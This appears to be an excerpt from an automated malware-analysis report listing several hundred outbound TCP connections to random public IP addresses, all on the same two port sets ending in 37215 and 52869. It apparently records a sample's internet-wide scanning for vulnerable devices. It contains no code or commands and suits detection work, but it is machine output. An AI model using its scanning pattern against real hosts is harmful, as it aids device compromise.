Source: global traffic	TCP traffic: 197.232.164.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 134.246.13.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.229.181.146 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 181.48.248.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.143.3.199 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.142.84.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.106.114 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.145.182.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.232.25.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.103.212.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.92.190.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.204.75.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.165.130.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.229.139.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 53.177.163.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.84.19.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 139.53.167.255 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.170.166.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.236.105.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.30.62.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 173.79.90.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.20.88.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.175.52.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.95.164.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.105.57.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.49.239.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.222.251.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.239.120.6 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.191.40.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.160.204.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.163.90.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.239.227.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.168.12.81 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 75.27.220.215 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.58.27.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.16.89.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.74.177.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 96.186.231.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 97.58.124.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.202.10.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 39.214.96.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.71.150.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 111.98.112.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 88.214.109.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 179.239.9.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.110.53.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 12.187.5.232 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.153.140.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.61.220.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 98.18.219.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.109.236.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.140.225.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 188.55.57.46 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.141.201.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.46.155.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 104.35.91.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.203.115.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.18.50.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.42.67.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.78.247.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 169.227.213.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.174.102.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.30.180.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 50.66.193.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.105.103.140 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 128.19.80.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.41.223.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 144.205.214.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.159.59.66 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 128.167.40.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.172.255.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.47.225.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.172.132.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.141.203.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 116.152.160.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.193.18.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 31.37.204.42 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.162.150.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 63.168.15.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 101.229.203.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 95.86.141.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.210.213.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.3.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.223.2.219 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.0.155.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 82.69.55.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.103.6.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 51.149.137.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.35.158.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.159.112.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 218.217.201.5 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 187.38.145.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.113.248.155 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.206.168.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.51.222.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.167.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.80.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.109.230.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.20.24.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.56.238.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 185.161.254.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.171.30.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 42.199.22.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.137.103.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 135.98.243.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.48.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 62.234.125.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 110.194.176.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.23.218.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 161.217.224.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.85.47.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.49.184.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 19.103.146.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.119.48.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 188.202.147.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.222.102.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.208.108.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.42.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.136.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 171.222.157.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.147.132.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.102.176.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.186.78.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.184.32.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.174.101.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 24.118.188.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.206.29.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 165.206.169.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.82.144.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.202.24.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.109.89.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.231.23.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.47.211.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 177.82.131.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.227.234.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.126.225.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 135.239.80.215 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.217.81.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 12.229.29.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.119.249.171 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.213.150.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 100.170.20.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.27.184.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 94.171.12.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.162.106.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.243.155.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.252.135.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 208.40.190.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.140.198.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.248.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 104.96.206.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 81.37.172.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.140.223.248 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 208.236.16.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.57.160.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.231.166.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.68.160.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.245.3.145 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.180.82.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.7.240.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.129.53.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 163.16.42.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.172.237.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.192.192.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 222.79.13.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 159.79.7.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.152.71.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.6.89.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 129.72.193.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.115.82.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 136.87.94.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.19.213.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 58.30.155.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.174.41.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 114.138.146.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.224.23.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 61.67.184.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.87.239.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.84.30.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.65.81.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 74.218.240.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.149.140.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.21.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 102.202.162.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 220.168.165.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 38.97.128.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.171.38.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.84.231.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 51.66.153.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 117.190.33.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 117.13.89.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.40.134.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.9.167.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.255.224.190 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.120.43.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 96.68.56.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.155.195.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.54.130.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 96.168.242.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.17.22.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.79.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.237.99.244 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.246.138.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 65.39.21.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.50.220.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.193.165.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.181.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 49.244.202.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.234.252.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 20.92.46.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.84.70.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.49.202.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 19.197.253.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 79.32.244.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 58.240.141.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.47.102.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.30.112.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.218.226.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.195.113.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.44.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.191.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 35.151.71.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 97.111.37.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 207.68.145.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.44.218.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 115.77.146.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 18.143.16.236 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.229.81.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 100.33.47.252 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.63.51.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 196.144.35.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 116.205.25.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.90.73.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.209.78.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.74.153.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 152.223.58.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.186.60.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 171.212.235.66 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.195.164.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.10.237.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 154.237.61.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.212.1.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 169.115.251.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.56.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.168.157.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 223.171.240.85 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.215.99.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.184.137.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 168.220.14.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.125.96.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.47.12.132 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.195.175.74 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.23.232.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 217.2.125.198 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.52.85.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 128.167.145.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.96.239.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 122.198.22.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.152.181.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.194.233.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.60.31.173 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.174.176.155 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.206.251.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.255.196.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 70.118.174.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.52.127.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.240.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 76.38.151.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.226.157.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.134.146.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 196.139.173.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.51.255.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.71.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.31.71.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 50.233.235.83 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.54.94.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.45.46.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 13.185.8.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.75.65.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 76.47.7.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.170.99.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 95.137.137.218 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.95.235.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.130.62.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.45.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 162.117.173.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.55.170.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 46.126.2.244 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 88.80.142.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.165.83.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.247.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 107.211.240.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.238.97.61 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.235.52.91 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 19.225.121.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 155.188.0.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 65.69.203.133 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.249.74.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 207.115.90.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.55.34.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 74.209.208.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 199.109.215.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.26.123.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.45.33.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.21.4.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.158.70.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.229.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 69.12.235.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.53.247.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 98.174.33.140 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.73.78.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 42.99.131.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 165.139.105.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.97.243.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.216.215.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.67.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.157.102.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.99.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 186.23.129.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.61.131.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.151.99.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.12.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 74.120.42.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 118.56.107.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 144.218.164.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.227.179.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 143.114.132.177 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 50.84.207.10 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.59.53.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 220.144.218.43 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 169.46.166.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.17.231.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.198.8.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 138.79.214.4 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.203.69.198 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.171.41.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.193.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 37.253.130.175 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.108.209.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.220.192.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.66.83.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 222.199.215.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.88.86.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.165.72.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.6.7.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 79.164.194.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 25.45.255.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.204.138.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.31.162.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 122.96.96.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.76.0.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 159.72.76.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.218.196.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.147.167.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.39.133.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.159.246.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.10.155.24 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 99.241.202.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 162.141.35.124 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 72.202.39.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.170.198.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.162.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 160.3.93.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 78.113.18.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.71.57.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 116.185.85.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.219.235.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 171.146.12.186 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 131.238.38.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.142.143.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.147.24.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.250.93.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.115.171.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.118.36.137 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.22.237.226 ports 1,2,3,5,7,37215
